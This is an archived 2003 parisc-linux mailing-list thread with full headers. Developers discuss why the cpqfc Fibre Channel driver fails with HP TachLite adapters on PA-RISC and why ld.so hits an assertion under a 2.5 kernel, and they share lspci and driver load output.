poked at it a little bit but afaik it still doesn't work. The driver is
not that well written either, so that doesn't help either :(

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Mon, 17 Mar 2003 09:14:45 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20030317161445.GA31378@dsl2.external.hp.com>
References: <3E68A12A00002910@ocpmta3.freegates.net> <20030317111801.GF17073@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622292 22986 80.91.229.3 (22 Nov 2014 02:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 09:14:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 6176F482B; Mon, 17 Mar 2003 09:14:45 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030317111801.GF17073@lug-owl.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17957

On Mon, Mar 17, 2003 at 12:18:01PM +0100, Jan-Benedict Glaw wrote:
> So your device is called "PCI_DEVICE_ID_HP_TACHYON".

Please don't ever call a TachLite (TL) devices "Tachyon".
Tachyon (5000) was the first FC chip made by HP (now Agilent)
and was a nightmare to program. TachLite  (5100/5166)
had a simpler programming model and fewer bugs. TachLite XL2
chips (5200) use the same programming model.


> See, it's quite easy to see if a PCI card seems to be supported:-)

Yes, but sometimes it's easier to start with "lspci -n" output.

cpqfc code suggests it supports all Tachlite HBAs.
But it depends on GBIC/HBA configuration and HPUX folks haven't
been interested in making cpqfc work with their XL2 HBA.
Jes Sorensen/Martin Petersen did get older (5100/5166) TL HBAs
from HP working with cpqfc driver.

grant


From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /lib/ld.so.1 (glibc) issues on 2.5 kernel??
Date: 17 Mar 2003 09:19:14 -0700
Lines: 54
Approved: news@gmane.org
Message-ID: <1047917954.14507.15.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622293 22990 80.91.229.3 (22 Nov 2014 02:11:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 09:19:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68716482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 09:19:16 -0700 (MST)
Original-Received: from ns1.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id D24692B101
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 09:19:14 -0700 (MST)
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17958

Got a wierd glibc/kernel problem...

This all started by simply trying to run the ltp tests on the linux 2.5
kernel.  

The ltp tests run the ldd command, which we tracked down to this
final command: /lib/ld.so.1 --verify /bin/sh

Note: The --verify /bin/sh is irrelevant for the purpose of these
errors, /lib/ld.so.1 displays this problem w/o any additional
arguments.  


Linux vega 2.5.64-pa5 #3 Sun Mar 16 23:44:38 MST 2003 parisc unknown
unknown GNU/Linux
rbrad@vega:~$ /lib/ld.so.1 --verify /bin/sh
Inconsistency detected by ld.so: rtld.c: 879: dl_main: Assertion
`_rtld_local._dl_rtld_map.l_libname' failed!
rbrad@vega:~$

With the same system, but running the 2.4 kernel .... everything
seems to work fine.

rbrad@vega:~$ uname -a
Linux vega 2.4.20-pa28 #1 Sun Mar 16 10:13:17 MST 2003 parisc unknown
unknown GNU/Linux
rbrad@vega:~$ /lib/ld.so.1 --verify /bin/sh
rbrad@vega:~$


This box is running a 32-bit kernel and is running almost TOB unstable.

Installed libc6 is:
ii  libc6          2.3.1-14       GNU C Library: Shared libraries and
Timezone

Installed bash is:
ii  bash           2.05b-7        The GNU Bourne Again SHell


What is _really_ strange is that the system works ... even even though
/lib/ld.so.1 is throwing that assert.  I did not notice this
error until trying to run the ltp tests.

Any thoughts?

Thanks,

- Ryan

-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Mon, 17 Mar 2003 09:21:05 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20030317162105.GB31378@dsl2.external.hp.com>
References: <20030317111801.GF17073@lug-owl.de> <3E68A12A00002A77@ocpmta3.freegates.net> <20030317155235.GN26139@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622293 22992 80.91.229.3 (22 Nov 2014 02:11:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:33 +0000 (UTC)
Cc: Joel Soete <jsoe0708@tiscali.be>,
	Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 09:21:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 0A11A4866; Mon, 17 Mar 2003 09:21:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030317155235.GN26139@tausq.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17959

On Mon, Mar 17, 2003 at 07:52:35AM -0800, Randolph Chung wrote:
> this is the "right" driver, but it doesn't work on parisc. Grant has
> poked at it a little bit but afaik it still doesn't work.

I was trying to get XL2 HBAs working - and at least now I can load
and unload the driver on parisc. But XL2 is still not working.
I thought 5100/5166 (TL) HBAs did work.

> The driver is
> not that well written either, so that doesn't help either :(

If someone wants to take over maintaining cpqfc driver, I suspect
that would be a welcome request. Please let me know and I'll
forward to the right people in HP. (I've had this conversation
with the current maintainers already.)

grant


From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: 17 Mar 2003 09:22:23 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <1047918143.14507.18.camel@beavis.ybsoft.com>
References: <3E68A12A00002910@ocpmta3.freegates.net>
	 <20030317111801.GF17073@lug-owl.de>
	 <20030317161445.GA31378@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622293 22997 80.91.229.3 (22 Nov 2014 02:11:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:33 +0000 (UTC)
Cc: Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 09:22:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id A37BB486F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 09:22:24 -0700 (MST)
Original-Received: from beavis.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id CC15F2B101; Mon, 17 Mar 2003 09:22:23 -0700 (MST)
In-Reply-To: <20030317161445.GA31378@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17960

On Mon, 2003-03-17 at 09:14, Grant Grundler wrote:
> On Mon, Mar 17, 2003 at 12:18:01PM +0100, Jan-Benedict Glaw wrote:
> > So your device is called "PCI_DEVICE_ID_HP_TACHYON".
> 
> Please don't ever call a TachLite (TL) devices "Tachyon".
> Tachyon (5000) was the first FC chip made by HP (now Agilent)
> and was a nightmare to program. TachLite  (5100/5166)
> had a simpler programming model and fewer bugs. TachLite XL2
> chips (5200) use the same programming model.
> 
> 
> > See, it's quite easy to see if a PCI card seems to be supported:-)
> 
> Yes, but sometimes it's easier to start with "lspci -n" output.
> 
> cpqfc code suggests it supports all Tachlite HBAs.
> But it depends on GBIC/HBA configuration and HPUX folks haven't
> been interested in making cpqfc work with their XL2 HBA.
> Jes Sorensen/Martin Petersen did get older (5100/5166) TL HBAs
> from HP working with cpqfc driver.

On parisc?  I've had trouble with it running on my C200.  Maybe
it is time to try it again.  I know Jes and Martin worked on it 
for i386..

Thanks,

- Ryan

> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /lib/ld.so.1 (glibc) issues on 2.5 kernel??
Date: Mon, 17 Mar 2003 16:32:06 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20030317163206.GE28607@parcelfarce.linux.theplanet.co.uk>
References: <1047917954.14507.15.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622294 23004 80.91.229.3 (22 Nov 2014 02:11:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 09:32:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15697486C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 09:32:08 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18uxWw-0000IV-9Z; Mon, 17 Mar 2003 16:32:06 +0000
Content-Disposition: inline
In-Reply-To: <1047917954.14507.15.camel@beavis.ybsoft.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17961

On Mon, Mar 17, 2003 at 09:19:14AM -0700, Ryan Bradetich wrote:
> Linux vega 2.5.64-pa5 #3 Sun Mar 16 23:44:38 MST 2003 parisc unknown
> unknown GNU/Linux
> rbrad@vega:~$ /lib/ld.so.1 --verify /bin/sh
> Inconsistency detected by ld.so: rtld.c: 879: dl_main: Assertion
> `_rtld_local._dl_rtld_map.l_libname' failed!
> rbrad@vega:~$
> 
> With the same system, but running the 2.4 kernel .... everything
> seems to work fine.

Hmm.  Back in 2.4, we had an RGH_HACK in fs/binfmt_elf.c which (iirc)
was introduced to stop this error.  I'm not sure we ever tracked down the
problem this was solving, but we thought it'd gone away with recent glibc.

I guess not.  I'm reluctant to bring the RGH_HACK forwards... but if
someone did, it might help track down where this problem really is.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Mon, 17 Mar 2003 17:34:30 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <20030317163430.GI17073@lug-owl.de>
References: <20030317111801.GF17073@lug-owl.de> <3E68A12A00002A77@ocpmta3.freegates.net> <20030317155235.GN26139@tausq.org> <20030317162105.GB31378@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="AnSJTMMZ92c40QA7"
X-Trace: ger.gmane.org 1416622294 23006 80.91.229.3 (22 Nov 2014 02:11:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 09:34:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65E82487D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 09:34:31 -0700 (MST)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id AA77C4A9FA; Mon, 17 Mar 2003 17:34:30 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20030317162105.GB31378@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17962

--AnSJTMMZ92c40QA7
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2003-03-17 09:21:05 -0700, Grant Grundler <grundler@dsl2.external.h=
p.com>
wrote in message <20030317162105.GB31378@dsl2.external.hp.com>:
> On Mon, Mar 17, 2003 at 07:52:35AM -0800, Randolph Chung wrote:
> > The driver is
> > not that well written either, so that doesn't help either :(
>=20
> If someone wants to take over maintaining cpqfc driver, I suspect
> that would be a welcome request. Please let me know and I'll
> forward to the right people in HP. (I've had this conversation
> with the current maintainers already.)

:) Well, I don't have such a board, I don't have FC-HDDs, I don't even
have a 64bit/66MHz box. ...and looking over the code, it's somewhat
cruel:-) All over all scared^H^H^Httered with C++ish comments, silly
VARIABLE NAMES and it is *hugh*. Maintaining it, I suspect, is more like
rewriting it. Well, no hardware, no docs, ...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--AnSJTMMZ92c40QA7
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+dfkWHb1edYOZ4bsRArBaAKCES7LoLwsAJoACZt5NE4iAmNsx1wCeIasY
AnYveI5r6oEBxZLq90E6IrY=
=1oX/
-----END PGP SIGNATURE-----

--AnSJTMMZ92c40QA7--


From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: 17 Mar 2003 11:36:49 -0500
Organization: mkp.net
Lines: 23
Approved: news@gmane.org
Message-ID: <yq1vfyine5a.fsf@austin.mkp.net>
References: <3E68A12A00002910@ocpmta3.freegates.net>
	<20030317111801.GF17073@lug-owl.de>
	<20030317161445.GA31378@dsl2.external.hp.com>
	<1047918143.14507.18.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622294 23007 80.91.229.3 (22 Nov 2014 02:11:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:34 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 09:36:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [66.11.169.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F3874890
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Mar 2003 09:36:00 -0700 (MST)
Original-Received: from austin.mkp.net (rover.mkp.net [209.217.122.9])
	by jaguar.mkp.net (Postfix) with ESMTP
	id 3201C1781B; Mon, 17 Mar 2003 11:35:55 -0500 (EST)
Original-Received: by austin.mkp.net (Postfix, from userid 1654)
	id F24E027F44; Mon, 17 Mar 2003 11:36:49 -0500 (EST)
In-Reply-To: <1047918143.14507.18.camel@beavis.ybsoft.com>
Original-Lines: 22
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17963

>>>>> "Ryan" == Ryan Bradetich <rbradetich@uswest.net> writes:

>> cpqfc code suggests it supports all Tachlite HBAs.  But it depends
>> on GBIC/HBA configuration and HPUX folks haven't been interested in
>> making cpqfc work with their XL2 HBA.  Jes Sorensen/Martin Petersen
>> did get older (5100/5166) TL HBAs from HP working with cpqfc
>> driver.

Ryan> On parisc?  I've had trouble with it running on my C200.  Maybe
Ryan> it is time to try it again.  I know Jes and Martin worked on it
Ryan> for i386..

I got a TL going on x86 way back.  Have not tried it on PA-RISC.

Also, the cpqfc driver could do with a serious cleanup.

I gave up beating it into shape and started working on a new driver.
But I'm swamped elsewhere and haven't touched it for a while.

-- 
Martin K. Petersen      http://mkp.net/



From - Thu Nov 08 21:27:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Mon, 17 Mar 2003 09:38:04 -0700
Lines: 100
Approved: news@gmane.org
Message-ID: <20030317163804.GC31378@dsl2.external.hp.com>
References: <3E68A12A00002910@ocpmta3.freegates.net> <20030317111801.GF17073@lug-owl.de> <20030317161445.GA31378@dsl2.external.hp.com> <1047918143.14507.18.camel@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622295 23011 80.91.229.3 (22 Nov 2014 02:11:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:35 +0000 (UTC)
Cc: Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 17 09:38:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CCAC74871; Mon, 17 Mar 2003 09:38:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1047918143.14507.18.camel@beavis.ybsoft.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17964

On Mon, Mar 17, 2003 at 09:22:23AM -0700, Ryan Bradetich wrote:
> On parisc?  I've had trouble with it running on my C200.  Maybe
> it is time to try it again.  I know Jes and Martin worked on it 
> for i386..

my bad - you are right. It still doesn' work. Details follow.

I just tried it again with:
20:00.0 PCI bridge: Digital Equipment Corporation DECchip 21154 (rev 02)
21:04.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel
Host Adapter (rev 0a)
21:05.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel
Host Adapter (rev 0a)

20:00.0 Class 0604: 1011:0026 (rev 02)
21:04.0 Class 0c04: 103c:1028 (rev 0a)
21:05.0 Class 0c04: 103c:1028 (rev 0a)

cpqfc driver loads but still finds no devices on the FC hub.

gsyprf11:~# modprobe cpqfc
 scsi_register allocating 6640 bytes for FC HBA
  HBA found!
  HostAdapter->PciDev->irq = 256
  PciDev->baseaddress[0]= 0
  PciDev->baseaddress[1]= 20000
  PciDev->baseaddress[2]= 20100
  PciDev->baseaddress[3]= fffffffffa040000
  cpqfcHBAdata->fcChip.Registers. :
    IOBaseL = 20000
    IOBaseU = 20100
 ioremap'd Membase: fffffffffa040000
    SFQconsumerIndex.address = fffffffffa040058
    ERQproducerIndex.address = fffffffffa040008
    TYconfig.address = fffffffffa040184
    FMconfig.address = fffffffffa0401c0
    FMcontrol.address = fffffffffa0401c4
  Requesting 255 I/O addresses @ 20000
  Requesting 255 I/O addresses @ 20100
 ResetTachyon
  HBA Tachyon RevId 2.2
